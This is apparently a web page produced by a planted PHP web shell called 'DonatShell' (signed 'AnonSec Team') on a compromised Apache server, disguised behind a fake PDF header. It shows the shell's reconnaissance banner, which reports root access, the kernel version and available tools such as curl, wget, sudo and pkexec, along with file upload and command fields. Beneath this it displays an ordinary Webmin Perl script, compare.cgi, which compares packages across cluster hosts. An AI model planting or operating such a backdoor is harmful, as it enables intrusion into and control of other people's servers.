%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.248
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/cluster-software/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/cluster-software/compare.cgi
#!/usr/bin/perl
# Do an actual comparison

require './cluster-software-lib.pl';
&error_setup($text{'compare_err'});
&ReadParse();

# Work out which servers to use
if ($in{'all'}) {
	@hosts = &list_software_hosts();
	}
else {
	@allhosts = &list_software_hosts();
	@servers = &list_servers();
	@groups = &servers::list_all_groups(\@servers);
	foreach $s (split(/\0/, $in{'hosts'})) {
		if ($s =~ /^group_(.*)$/) {
			# Add all group members
			($group) = grep { $_->{'name'} eq $1 } @groups;
			foreach $m (@{$group->{'members'}}) {
				($server) =grep { $_->{'host'} eq $m } @servers;
				($host) = grep { $_->{'id'} eq $server->{'id'} } @allhosts;
				push(@hosts, $host) if ($host);
				}
			}
		else {
			# Add one host
			($host) = grep { $_->{'id'} eq $s } @allhosts;
			push(@hosts, $host) if ($host);
			}
		}
	}
@hosts >= 2 || &error($text{'compare_etwo'});

&ui_print_header(undef, $text{'compare_title'}, "");

# Find union of all packages
foreach $h (@hosts) {
	foreach $p (@{$h->{'packages'}}) {
		$p->{'host'} = $h;
		push(@{$packs{$p->{'name'}}}, $p);
		}
	}

# Show results by package
%smap = map { $_->{'id'}, $_ } &list_servers();
print &ui_columns_start([ $text{'compare_pack'},
			  map { &server_name($smap{$_->{'id'}}) } @hosts ]);
foreach $pn (sort { $a cmp $b } (keys %packs)) {
	local @row = ( &ui_link("edit_pack.cgi?package=$pn",$pn) );
	local $ok = 1;
	foreach $h (@hosts) {
		local ($ph) = grep { $_->{'host'} eq $h } @{$packs{$pn}};
		if (!$ph) {
			push(@row, $text{'compare_miss'});
			$ok = 0;
			}
		else {
			push(@row, $ph->{'version'} || $text{'compare_got'});
			if ($ph->{'version'} &&
			    $ph->{'version'} != $packs{$pn}->[0]->{'version'}) {
				$ok = 0;
				}
			}
		}
	if (!$ok || $in{'showall'}) {
		print &ui_columns_row(\@row);
		}
	}
print &ui_columns_end();

&ui_print_footer("", $text{'index_return'});

Anon7 - 2022
AnonSec Team